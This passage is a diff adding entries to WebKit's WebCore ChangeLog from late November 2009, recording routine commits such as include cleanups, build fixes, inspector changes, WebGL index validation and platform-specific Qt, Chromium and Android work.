+        * css/CSSStyleSelector.cpp: Removed include CSSFontFace.h,
+        CSSFontFaceSource.h, and CSSProperty.h
+        * page/EventSource.h: Removed include EventListener.h
+
+2009-11-29  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31965
+
+        Removed #include KeyframeList.h from CSSStyleSelector.h. Instead,
+        forward declared it.
+
+        As a side effect, we need to #include KeyframeList.h in
+        RenderLayerBacking.cpp.
+
+        No functionality was changed. So, no new tests.
+
+        * css/CSSStyleSelector.cpp:
+        * css/CSSStyleSelector.h: Removed #include KeyframeList.h
+        * rendering/RenderLayerBacking.cpp: Added #include KeyframeList.h
+
+2009-11-29  Shu Chang  <Chang.Shu@nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        Continue to search for matching node in the case where multiple nodes
+        have the same id.
+        https://bugs.webkit.org/show_bug.cgi?id=31428
+
+        Test: fast/dom/Element/id-in-node-list-index01.html
+
+        * dom/DynamicNodeList.cpp:
+        (WebCore::DynamicNodeList::itemWithName):
+
+2009-11-29  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31966
+
+        Removed #include RenderStyle.h from file KeyframeAnimation.h. Instead,
+        forward declared it.
+
+        No functionality was changed. So, no new tests.
+
+        * page/animation/KeyframeAnimation.cpp:
+        * page/animation/KeyframeAnimation.h:
+
+2009-11-29  Daniel Bates  <dbates@webkit.org>
+
+        Unreviewed, fix change log entry date.
+
+        For some reason, bugzilla-tool did not update the date in the change
+        log entry for my last commit (r51468). So, this commit fixes the date
+        of that entry.
+
+2009-11-29  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Dan Bernstein.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31964
+
+        Removed #include StringImpl, StyleImage. Instead, forward declared them.
+        Also, we can substitute #include <wtf/PassRefPtr.h> for #include PlatformString.h,
+        since it seems we only really used it to include PassRefPtr.h.
+
+        No functionality was changed. So, no new tests.
+
+        * rendering/style/ContentData.h:
+
+2009-11-29  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Allow custom memory allocation control for classes of the rendering and storage directory in WebCore
+        https://bugs.webkit.org/show_bug.cgi?id=31906
+
+        Inherits the following classes from Noncopyable because these are instantiated
+        by 'new' and no need to be copyable:
+
+        class/struct name               - instantiated at: WebCore/'location'
+
+        class SQLTransactionClient      - storage/DatabaseThread.cpp:45
+        class SQLTransactionCoordinator - storage/DatabaseThread.cpp:46
+        class OriginUsageRecord         - storage/OriginQuotaManager.cpp:66
+        class DatabaseTracker           - storage/DatabaseTracker.cpp:62
+        class ScrollbarTheme            - (its child class) rendering/RenderScrollbarTheme.cpp:35
+        class RenderSelectionInfoBase   - (its child class) rendering/RenderView.cpp:310
+        class RenderOverflow            - rendering/RenderBox.cpp:2846
+
+        Inherits the following classes from FastAllocBase because these are instantiated by 'new':
+
+        struct FillLayer                - css/CSSStyleSelector.cpp:197
+        struct ShadowData               - rendering/style/ShadowData.cpp:35
+        class CounterContent            - css/CSSStyleSelector.cpp:4111
+
+        * platform/ScrollbarTheme.h:
+        * rendering/RenderOverflow.h:
+        * rendering/RenderSelectionInfo.h:
+        * rendering/style/CounterContent.h:
+        * rendering/style/FillLayer.h:
+        * rendering/style/ShadowData.h:
+        * storage/DatabaseTracker.h:
+        * storage/OriginUsageRecord.h:
+        * storage/SQLTransactionClient.h:
+        * storage/SQLTransactionCoordinator.h:
+
+2009-11-28  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [Chromium] Sify compose button alerts error
+        https://bugs.webkit.org/show_bug.cgi?id=31394
+
+        Test: http/tests/security/calling-versus-current.html
+
+        We're supposed to use the calling context for security checks.  In JSC
+        land, this is the lexicalGlobalObject.
+
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::canAccessPrivate):
+
+2009-11-27  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Unreviewed Chromium build fix introduced by r51428.
+
+        [Chromium] Ignore line-height CSS property for PushButton
+        https://bugs.webkit.org/show_bug.cgi?id=31712
+
+        * rendering/RenderThemeChromiumSkia.cpp:
+        (WebCore::RenderThemeChromiumSkia::adjustButtonStyle):
+
+2009-11-27  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Unreviewed Chromium test fix by reverting r51413.
+
+        [v8] Do not check the thread when accessing DOMDataStore
+        https://bugs.webkit.org/show_bug.cgi?id=31877
+
+        * bindings/v8/V8DOMMap.cpp:
+        (WebCore::getDOMNodeMap):
+        (WebCore::getDOMObjectMap):
+        (WebCore::getActiveDOMObjectMap):
+        (WebCore::getDOMSVGElementInstanceMap):
+        (WebCore::getDOMSVGObjectWithContextMap):
+
+2009-11-27  Daniel Bates  <dbates@webkit.org>
+
+        Unreviewed, comment fix.
+
+        Corrected misspelling of the word "implemented".
+
+        * inspector/front-end/InjectedScriptAccess.js:
+
+2009-11-27  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31940
+
+        Makes the error messages more descriptive when we refuse to load an object/embed or
+        refuse to load from the document base URL.
+
+        * page/XSSAuditor.cpp:
+        (WebCore::XSSAuditor::canLoadObject): Changed console message to be more descriptive.
+        (WebCore::XSSAuditor::canSetBaseElementURL): Ditto.
+
+2009-11-27  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        This is a WebCore part of the fix that allows to view plugin
+        resources loaded by plugins.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31832
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::willSendRequest):
+        (WebCore::InspectorController::didReceiveResponse):
+        (WebCore::InspectorController::didReceiveContentLength):
+        (WebCore::InspectorController::didFinishLoading):
+        (WebCore::InspectorController::didFailLoading):
+        * inspector/InspectorController.h:
+        * inspector/InspectorResource.cpp:
+        (WebCore::InspectorResource::addLength):
+        * loader/ResourceLoadNotifier.cpp:
+        (WebCore::ResourceLoadNotifier::didFailToLoad):
+        (WebCore::ResourceLoadNotifier::dispatchWillSendRequest):
+        (WebCore::ResourceLoadNotifier::dispatchDidReceiveResponse):
+        (WebCore::ResourceLoadNotifier::dispatchDidReceiveContentLength):
+        (WebCore::ResourceLoadNotifier::dispatchDidFinishLoading):
+
+2009-11-27  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Instead of generating negative identifiers for cached resources in
+        InspectorController and extending identifier type from 'unsigned long' to 'long
+        long' reuse progress tracker from the inspected page to generate those
+        identifiers. It guarantees that InspectorResources have unique ids since
+        all of them are generated by that progress tracker.
+
+        Added a couple new overloaded methods to Script* objects that accept
+        long and unsigned long arguments. These types of argumens have already
+        been passed as long long.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31921
+
+        * bindings/js/ScriptFunctionCall.cpp:
+        (WebCore::ScriptFunctionCall::appendArgument):
+        * bindings/js/ScriptFunctionCall.h:
+        * bindings/js/ScriptObject.cpp:
+        (WebCore::ScriptObject::set):
+        * bindings/js/ScriptObject.h:
+        * bindings/v8/ScriptFunctionCall.cpp:
+        (WebCore::ScriptFunctionCall::appendArgument):
+        * bindings/v8/ScriptFunctionCall.h:
+        * bindings/v8/ScriptObject.cpp:
+        (WebCore::ScriptObject::set):
+        * bindings/v8/ScriptObject.h:
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::dispatchOnInjectedScript):
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::InspectorController):
+        (WebCore::InspectorController::getTrackedResource):
+        (WebCore::InspectorController::didLoadResourceFromMemoryCache): Use inspected page's ProgressTracker to generate unique identifiers for cached resources in InspectorController.
+        * inspector/InspectorController.h:
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::buildObjectForNode):
+        (WebCore::InspectorDOMAgent::buildObjectForEventListener):
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::addResource):
+        (WebCore::InspectorFrontend::updateResource):
+        (WebCore::InspectorFrontend::removeResource):
+        (WebCore::InspectorFrontend::updateFocusedNode):
+        * inspector/InspectorFrontend.h:
+        * inspector/InspectorResource.cpp:
+        (WebCore::InspectorResource::InspectorResource):
+        (WebCore::InspectorResource::createCached):
+        * inspector/InspectorResource.h: Change InspectorResource identifier type from 'long long' to 'unsigned long'.
+        (WebCore::InspectorResource::create):
+        (WebCore::InspectorResource::identifier):
+        * inspector/TimelineRecordFactory.cpp:
+        (WebCore::TimelineRecordFactory::createResourceSendRequestRecord):
+        (WebCore::TimelineRecordFactory::createResourceReceiveResponseRecord):
+        (WebCore::TimelineRecordFactory::createResourceFinishRecord):
+
+2009-11-26  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Dan Bernstein.
+
+        Assertion failure in RenderBlock::positionForPointWithInlineChildren when running fast/inline/relative-positioned-overflow.html
+        https://bugs.webkit.org/show_bug.cgi?id=29966
+
+        When an empty inline element is clicked, the root inline box has
+        no leaf children. Use the renderer of a normal child instead.
+
+        This change resolves Windows port's assertion failure in a layout test.
+        Also, this fixes the behavior when a user drags the mouse from an
+        empty inline element to above texts.
+
+        Test: editing/selection/last-empty-inline.html
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::positionForPointWithInlineChildren):
+
+2009-11-26  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        [Chromium] Ignore line-height CSS property specified to push buttons on
+        Windows and Linux.
+        https://bugs.webkit.org/show_bug.cgi?id=31712
+
+        LayoutTests/fast/forms/control-restrict-line-height.html checks that the
+        following controls should ignore line-height CSS property.
+         - <select>
+         - <input type=button>
+         - <input type=search>
+        This change addresses the <input type=button> issue with Chromium/Windows
+        and Chromium/Linux.
+        
+        * rendering/RenderThemeChromiumSkia.cpp: Implement adjustButtonStyle() to ignore line-height.
+        * rendering/RenderThemeChromiumSkia.h: Declare adjustButtonStyle().
+
+2009-11-26  Kinuko Yasuda  <kinuko@chromium.com>
+
+        Reviewed by Eric Seidel.
+
+        Remove the special charset meta tag in the clipboard so that
+        copy-and-paste with interchange breaklines/spaces works correctly
+        within WebKit.
+
+        No new tests.  Layout tests that involve copy-and-paste with
+        interchange breaklines (like editing/pasteboard/paste-line-endings-00?)
+        should pass on Mac/Chromium with this fix.
+
+        * platform/chromium/ClipboardChromium.cpp:
+        * platform/chromium/PasteboardChromium.cpp:
+        (WebCore::Pasteboard::documentFragment):
+
+2009-11-26  İsmail Dönmez  <ismail@namtrac.org>
+
+        Reviewed by Eric Seidel.
+
+        Compile with QT_NO_WHEELEVENT defined.
+
+        * platform/qt/WheelEventQt.cpp:
+        (WebCore::PlatformWheelEvent::applyDelta):
+
+2009-11-26  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Oliver Hunt.
+
+        Move GOwnPtr* from wtf to wtf/gtk
+        https://bugs.webkit.org/show_bug.cgi?id=31793
+
+        No new tests as there is no functional change.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp: Change the
+          path for GOwnPtr.h.
+        * platform/text/TextEncoding.cpp: Ditto.
+        * platform/text/gtk/TextCodecGtk.cpp: Ditto.
+
+2009-11-26  Yury Semikhatsky  <yurys@chromium.org>
+
+        Not reviewed. Build fix: revert r51421.
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::willSendRequest):
+        (WebCore::InspectorController::didReceiveResponse):
+        (WebCore::InspectorController::didReceiveContentLength):
+        (WebCore::InspectorController::didFinishLoading):
+        (WebCore::InspectorController::didFailLoading):
+        * inspector/InspectorController.h:
+        * inspector/InspectorResource.cpp:
+        (WebCore::InspectorResource::addLength):
+        * loader/ResourceLoadNotifier.cpp:
+        (WebCore::ResourceLoadNotifier::didFailToLoad):
+        (WebCore::ResourceLoadNotifier::dispatchWillSendRequest):
+        (WebCore::ResourceLoadNotifier::dispatchDidReceiveResponse):
+        (WebCore::ResourceLoadNotifier::dispatchDidReceiveContentLength):
+        (WebCore::ResourceLoadNotifier::dispatchDidFinishLoading):
+
+2009-11-26  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        This is a WebCore part of the fix that allows to view plugin
+        resources loaded by plugins.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31832
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::willSendRequest):
+        (WebCore::InspectorController::didReceiveResponse):
+        (WebCore::InspectorController::didReceiveContentLength):
+        (WebCore::InspectorController::didFinishLoading):
+        (WebCore::InspectorController::didFailLoading):
+        * inspector/InspectorController.h: Remove unused DocumentLoader parameters from inspector methods.
+        * inspector/InspectorResource.cpp:
+        (WebCore::InspectorResource::addLength): Update loading end time when new data are received.
+        * loader/ResourceLoadNotifier.cpp:
+        (WebCore::ResourceLoadNotifier::didFailToLoad): Notify InspectorController about the failure.
+        (WebCore::ResourceLoadNotifier::dispatchWillSendRequest):
+        (WebCore::ResourceLoadNotifier::dispatchDidReceiveResponse):
+        (WebCore::ResourceLoadNotifier::dispatchDidReceiveContentLength):
+        (WebCore::ResourceLoadNotifier::dispatchDidFinishLoading):
+
+2009-11-26  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Pavel Feldman.
+
+        https://bugs.webkit.org/show_bug.cgi?id=21554
+
+        Implements support for hovering over <img> src to display the height and width of that image
+        in a tooltip. Displays both the displayable and natural dimensions of the image.
+
+        Test: inspector/elements-img-tooltip.html
+
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeElement.prototype.createTooltipForImageNode): Added.
+        (WebInspector.ElementsTreeElement.prototype._updateTitle.callback):
+        (WebInspector.ElementsTreeElement.prototype._updateTitle):
+        (WebInspector.ElementsTreeElement.prototype._nodeTitleInfo):
+        * inspector/front-end/ObjectProxy.js:
+        (WebInspector.ObjectProxy.getPropertiesAsync): Added.
+        * inspector/front-end/inspector.js:
+        (WebInspector.linkifyURLAsNode): Added tooltipText argument.
+        (WebInspector.linkifyURL): Ditto.
+
+2009-11-26  Kevin Ollivier  <kevino@theolliviers.com>
+
+        wx build fix after drawPattern API change.
+
+        * platform/graphics/wx/ImageWx.cpp:
+        (WebCore::Image::drawPattern):
+
+2009-11-26  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Use an internal field instead of hidden property to speedup lookup
+        of entered isolated world.
+
+        Plus some inlinings.
+        https://bugs.webkit.org/show_bug.cgi?id=31884
+
+        Covered by layout tests + manual running of some benchmarks as
+        content scripts.
+
+        * bindings/v8/V8DOMWrapper.cpp:
+        * bindings/v8/V8DOMWrapper.h:
+        (WebCore::V8DOMWrapper::setDOMWrapper):
+        * bindings/v8/V8HiddenPropertyName.h:
+        * bindings/v8/V8IsolatedWorld.cpp:
+        (WebCore::V8IsolatedWorld::V8IsolatedWorld):
+        * bindings/v8/V8IsolatedWorld.h:
+        (WebCore::V8IsolatedWorld::getEntered):
+        (WebCore::V8IsolatedWorld::getGlobalObject):
+        * bindings/v8/custom/V8CustomBinding.h:
+
+2009-11-26  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Corrects build break on Windows.
+
+        Rename platform/text/qt/TextBoundaries.cpp to TextBoundariesQt.cpp since
+        platform/text/TextBoundaries.cpp was compiled instead when compiling with nmake.
+
+        * WebCore.pro:
+        * platform/text/qt/TextBoundariesQt.cpp: Renamed from WebCore/platform/text/qt/TextBoundaries.cpp.
+        (WebCore::findNextWordFromIndex):
+        (WebCore::findWordBoundary):
+
+2009-11-26  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Do not check if the thread is main or not when accessing DOMDataStore as currently in Chromium WebKit is used in main thread only.
+        https://bugs.webkit.org/show_bug.cgi?id=31877
+
+        Covered by layout tests and buildbots.
+
+        * bindings/v8/V8DOMMap.cpp:
+        (WebCore::getDOMNodeMap):
+        (WebCore::getDOMObjectMap):
+        (WebCore::getActiveDOMObjectMap):
+        (WebCore::getDOMSVGElementInstanceMap):
+        (WebCore::getDOMSVGObjectWithContextMap):
+
+2009-11-26  Girish Ramakrishnan  <girish@forwardbias.in>
+
+        Reviewed by Holger Freyther.
+
+        [Qt] Mac Plugins : Pass mouse position relative to the fake window
+        
+        When using off-screen rendering, we need to pass mouse events relative
+        to the fake window instead of the global position.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=31794
+
+        * plugins/mac/PluginViewMac.cpp:
+        (WebCore::PluginView::platformStart):
+        (WebCore::PluginView::handleMouseEvent):
+
+2009-11-24  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Reviewed by Eric Seidel.
+
+        [Qt] Use QNetworkReply::rawHeaderPairs
+        https://bugs.webkit.org/show_bug.cgi?id=31826
+
+        The QNetworkReply is internally storing the HTTP headers
+        as a list of pairs. Currently we have to ask the QNetworkReply
+        to put all header names into a QStringList. Afterwards we will
+        iterate over this QStringList and ask the QNetworkReply to
+        give us the value for this header name. The current Qt implementation
+        is doing a linear to find the header value.
+
+        Use a new API to directly access the list of pairs and push
+        this into WebCore. This avoids doing some allocations and doing
+        linear searches from within a loop.
+
+        * platform/network/qt/QNetworkReplyHandler.cpp:
+        (WebCore::QNetworkReplyHandler::sendResponseIfNeeded):
+
+2009-11-21  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Add Qt specific information of RenderPart
+        https://bugs.webkit.org/show_bug.cgi?id=31203
+
+        The WebCore::Widget of the RenderPart (RenderWidget) might be
+        backed with a platform widget. Print both the WebCore::Widget
+        and platform widget state. In the above bug we had a problem
+        that the WebCore::Widget was invisible but the QWidget was
+        visible.
+
+        * rendering/RenderTreeAsText.cpp:
+        (WebCore::operator<<): Add special case for RenderPart
+
+2009-11-17  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Call Widget::setSelfVisible from hide/show
+        https://bugs.webkit.org/show_bug.cgi?id=31203
+
+        Call Widget::setSelfVisible from Widget::show and
+        Widget::hide and use isParentVisible to decide
+        if the widget should be shown. This way client
+        code can rely on isVisible.
+
+        Change PluginViewQt::show, PluginViewQt::hide to
+        call the base class as it is doing the right thing
+        now. Add an assert verify that platfomWidget and
+        platformPluginWidget are the same.
+
+        * manual-tests/qt/qtplugin.html: Modify manual test
+        * platform/qt/WidgetQt.cpp:
+        (WebCore::Widget::show):
+        (WebCore::Widget::hide):
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::show):
+        (WebCore::PluginView::hide):
+
+2009-11-24  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Fix compilation of REQUEST_DEBUG debug code
+        https://bugs.webkit.org/show_bug.cgi?id=31850
+
+        In r47907 the single parameter KURL constructor to parse
+        from a WebCore::String was replaced with a two parameter
+        constructor. I think in this debug case parsing the urls
+        again is no problem and I have changed the code to use the
+        two parameter version.
+
+        * loader/loader.cpp:
+        (WebCore::Loader::Host::didFinishLoading):
+
+2009-11-26  Søren Gjesse  <sgjesse@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        [V8] Avoid using JavaScript objects as context data
+        https://bugs.webkit.org/show_bug.cgi?id=31873
+
+        Change the context "data" from a JavaScript object holding the two properties type and value to
+        a string holding type and value separated by a comma.
+
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::setInjectedScriptContextDebugId):
+        (WebCore::V8Proxy::setContextDebugId):
+        (WebCore::V8Proxy::contextDebugId):
+
+2009-11-25  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by David Levin.
+
+        [Chromium] Implement canSetValueAttribute in the API, the clean-up part.
+        https://bugs.webkit.org/show_bug.cgi?id=31894
+
+        * accessibility/chromium/AccessibilityObjectWrapper.h: Added RefCounted decl.
+        (WebCore::AccessibilityObjectWrapper::AccessibilityObjectWrapper): Removed mis-refcountingness.
+
+2009-11-25  Kenneth Russell  <kbr@google.com>
+
+        Reviewed by Oliver Hunt.
+
+        Off-by-one error in index validation for drawElements and drawArrays
+        https://bugs.webkit.org/show_bug.cgi?id=31891
+
+        Fixed computation of number of elements for bound array objects.
+
+        Test: fast/canvas/webgl/index-validation.html
+
+        * html/canvas/WebGLRenderingContext.cpp:
+        (WebCore::WebGLRenderingContext::vertexAttribPointer):
+
+2009-11-25  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by David Levin.
+
+        Update SharedScript to use eventNames() instead of EventNames()
+        https://bugs.webkit.org/show_bug.cgi?id=31890
+
+        * SharedScript/WebKitSharedScript.cpp:
+        (WebCore::LoadEventTask::performTask):
+
+2009-11-25  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        <rdar://problem/7409331> Windows: Support closed caption in <video> element
+
+        Enable closed captions in QuickTime/Windows media engine.
+
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.cpp:
+        (WebCore::MediaPlayerPrivate::hasClosedCaptions):
+        (WebCore::MediaPlayerPrivate::setClosedCaptionsVisible):
+            New, all through to m_qtMovie.
+
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.h:
+            Make all but the destructor private since MediaPlayer call through the media
+            engine interface.
+
+        * platform/graphics/win/QTMovieWin.cpp:
+        (QTMovieWin::disableUnsupportedTracks):
+            Use handy new constants for QuickTime track types.
+        (QTMovieWin::hasClosedCaptions):
+        (QTMovieWin::setClosedCaptionsVisible):
+            New, closed caption support.
+        * platform/graphics/win/QTMovieWin.h:
+
+        * rendering/RenderMediaControls.cpp:
+        (WebCore::RenderMediaControls::paintMediaControlsPart):
+            Deal with closed caption buttons.
+
+        * rendering/RenderThemeWin.cpp:
+        (WebCore::RenderThemeWin::shouldRenderMediaControlPart):
+            New, don't ask the media engine if it has closed captions unless the Safari theme will
+            be able to render the button.
+        (WebCore::RenderThemeWin::paintMediaToggleClosedCaptionsButton):
+            New.
+        * rendering/RenderThemeWin.h:
+
+2009-11-25  Drew Wilson  <atwilson@chromium.org>
+
+        Reviewed by David Levin.
+
+        MessagePorts always look remotely entangled even when closed.
+        https://bugs.webkit.org/show_bug.cgi?id=31698
+
+        Tests: Existing tests suffice, Chromium soak test passes now.
+
+        * bindings/v8/custom/V8CustomBinding.h:
+        Removed kMessagePortEntangledPortIndex which is no longer used.
+        * bindings/v8/V8GCController.cpp:
+        (WebCore::GCPrologueVisitor::visitDOMWrapper):
+        Simplified GC code to reflect the Chromium MessagePort implementation
+        (locallyEntangledPort() always returns false).
+        (WebCore::GCEpilogueVisitor::visitDOMWrapper):
+        Cleaned up epilogue code to handle the case where the port gets closed
+        in mid-GC (due to the parent context being freed).
+        * dom/MessagePort.cpp:
+        (WebCore::MessagePort::MessagePort):
+        (WebCore::MessagePort::close):
+        Now sets the closed flag.
+        (WebCore::MessagePort::disentanglePorts):
+        Updated to use new isCloned() API instead of relying on isEntangled(), which was incorrect.
+        * dom/MessagePort.h:
+        Added a m_closed flag and updated isEntangled() to check it.
+        (WebCore::MessagePort::isEntangled):
+        Now returns false if the port has been closed.
+        (WebCore::MessagePort::isCloned):
+        Added new API to differentiate between cloned and closed ports (closed ports can still be passed to postMessage).
+
+2009-11-25  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Fix crash of QtWebKit on any page with Flash when compiled with MinGW.
+
+        Fix inline assembly, don't dereference the function pointer twice.
+
+        * plugins/win/PluginViewWin.cpp:
+        (WebCore::PluginView::hookedBeginPaint):
+        (WebCore::PluginView::hookedEndPaint):
+
+2009-11-22  Jakub Wieczorek  <faw217@gmail.com>
+
+        Reviewed by Adam Barth.
+
+        [Qt] Remove the Referer header when redirecting to a non-secure site
+        https://bugs.webkit.org/show_bug.cgi?id=31785
+
+        This makes Qt pass two tests introduced in r50226.
+
+        * platform/network/qt/QNetworkReplyHandler.cpp:
+        (WebCore::QNetworkReplyHandler::sendResponseIfNeeded):
+
+2009-11-25  Andrei Popescu  <andreip@google.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        The select elements do not reflect the actual choice the user makes.
+        https://bugs.webkit.org/show_bug.cgi?id=31831
+
+        Handle the drawing of the listboxes in Android code.
+
+        No new features, just fixing an Android problem. Existing layout tests are sufficient.
+
+        * platform/android/RenderThemeAndroid.cpp:
+        (WebCore::theme):
+        (WebCore::RenderThemeAndroid::platformActiveSelectionBackgroundColor):
+        (WebCore::RenderThemeAndroid::platformActiveListBoxSelectionBackgroundColor):
+        (WebCore::RenderThemeAndroid::platformInactiveListBoxSelectionBackgroundColor):
+        (WebCore::RenderThemeAndroid::platformActiveListBoxSelectionForegroundColor):
+        (WebCore::RenderThemeAndroid::platformInactiveListBoxSelectionForegroundColor):
+        (WebCore::RenderThemeAndroid::adjustButtonStyle):
+        (WebCore::RenderThemeAndroid::paintTextArea):
+        (WebCore::RenderThemeAndroid::adjustListboxStyle):
+        * platform/android/RenderThemeAndroid.h:
+
+2009-11-25  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Load InspectorResource mime type from CachedResource for 304 responses
+
+        For network libraries that do not merge cache data into 304 ResourceResponses,
+        the mime type for cached resources is unknown.
+        https://bugs.webkit.org/show_bug.cgi?id=31868
+
+        * inspector/InspectorResource.cpp:
+        (WebCore::InspectorResource::updateResponse):
+        (WebCore::InspectorResource::updateScriptObject):
+        (WebCore::InspectorResource::type):
+
+2009-11-25  Andrei Popescu  <andreip@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Android is missing implementation of SSL Key generator functions.
+        https://bugs.webkit.org/show_bug.cgi?id=31825
+
+        This change adds the PlatformBridge class to platform/android.
+        PlarformBridge is used to access the embedding layer for things
+        such as key generator, cookies, plugins, etc.
+
+        No new tests required, this is platform code.
+
+        * platform/android/PlatformBridge.h: Added.
+        * platform/android/SSLKeyGeneratorAndroid.cpp: Added.
+        (WebCore::getSupportedKeySizes):
+        (WebCore::signedPublicKeyAndChallengeString):
+
+2009-11-25  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Eric Seidel.
+
+        [GTK] use gst_init_check() instead of gst_init()
+        https://bugs.webkit.org/show_bug.cgi?id=31864
+
+        Use gst_init_check() instead of gst_init() to prevent eventual
+        unexpected exit of the application.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::do_gst_init):
+        (WebCore::MediaPlayerPrivate::isAvailable):
+
+2009-11-25  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Reviewed by Xan Lopez.
+
+        Some tests are crashing from time to time
+        https://bugs.webkit.org/show_bug.cgi?id=31866
+
+        Make sure we do not notify the client of a finished load, if the
+        load has been cancelled, or the client is gone.
+
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::):
+
+2009-11-24  Ben Murdoch  <benm@google.com>
+
+        Reviewed by Eric Seidel.
+
+        [Android] Upstream Android changes to WebCore/bridge/jni
+        https://bugs.webkit.org/show_bug.cgi?id=31824
+
+        No new tests required as no new functionality.
+
+        * bridge/jni/jni_class.cpp:
+        (JavaClass::JavaClass): Add calls to delete allocated references, to avoid potential leaks.
+        * bridge/jni/jni_instance.cpp: Add an Android include path.
+        * bridge/jni/jni_instance.h: Add getter/setter for JObjectWrapper::_instance and make the JavaInstance ctor and member variables protected. Both needed for the Android port, see bug for discussion.
+        (JSC::Bindings::JObjectWrapper::instance): Added.
+        (JSC::Bindings::JObjectWrapper::setInstance): Added.
+        * bridge/jni/jni_runtime.cpp:
+        (JavaMethod::JavaMethod): Delete an allocated reference to avoid a potential leak.
+        * bridge/jni/jni_utility.h:
+        (JSC::Bindings::callJNIMethodV): Delete an allocated reference to avoid a potential leak.
+
+2009-11-24  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Allow custom memory allocation control for classes of the plugins and rendering directory in WebCore
+        https://bugs.webkit.org/show_bug.cgi?id=31827
+
+        Inherits the following classes from Noncopyable because these are instantiated
+        by 'new' and no need to be copyable:
+
+        class/struct name               - instantiated at: WebCore/'location'
+
+        class PluginRequest             - plugins/PluginView.cpp:521
+        class PluginMainThreadScheduler - plugins/PluginMainThreadScheduler.cpp:34
+        class PluginDatabase            - plugins/PluginDatabase.cpp:50
+        struct MimeClassInfo            - plugins/PluginInfoStore.cpp:50
+        struct PluginInfo               - plugins/PluginInfoStore.cpp:40
+        class RenderArena               - dom/Document.cpp:1401
+        class RenderImageScaleData      - rendering/RenderImage.cpp:149
+        class TableLayout               - (its child class) rendering/RenderTable.cpp:82
+        struct ColumnInfo               - rendering/RenderBlock.cpp:3590
+        struct FloatingObject           - rendering/RenderBlock.cpp:2300
+        struct MaxMargin                - rendering/RenderBlock.cpp:4794
+        class RenderMarquee             - rendering/RenderLayer.cpp:3277
+
+        * plugins/PluginData.h:
+        * plugins/PluginDatabase.h:
+        * plugins/PluginMainThreadScheduler.h:
+        * plugins/PluginView.h:
+        * rendering/RenderArena.h:
+        * rendering/RenderBlock.cpp:
+        * rendering/RenderBlock.h:
+        * rendering/RenderImage.cpp:
+        * rendering/RenderMarquee.h:
+        * rendering/TableLayout.h:
+
+2009-11-24  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by David Levin.
+
+        Initial implementation of WebKitSharedScript and SharedScriptContext
+        https://bugs.webkit.org/show_bug.cgi?id=31569
+
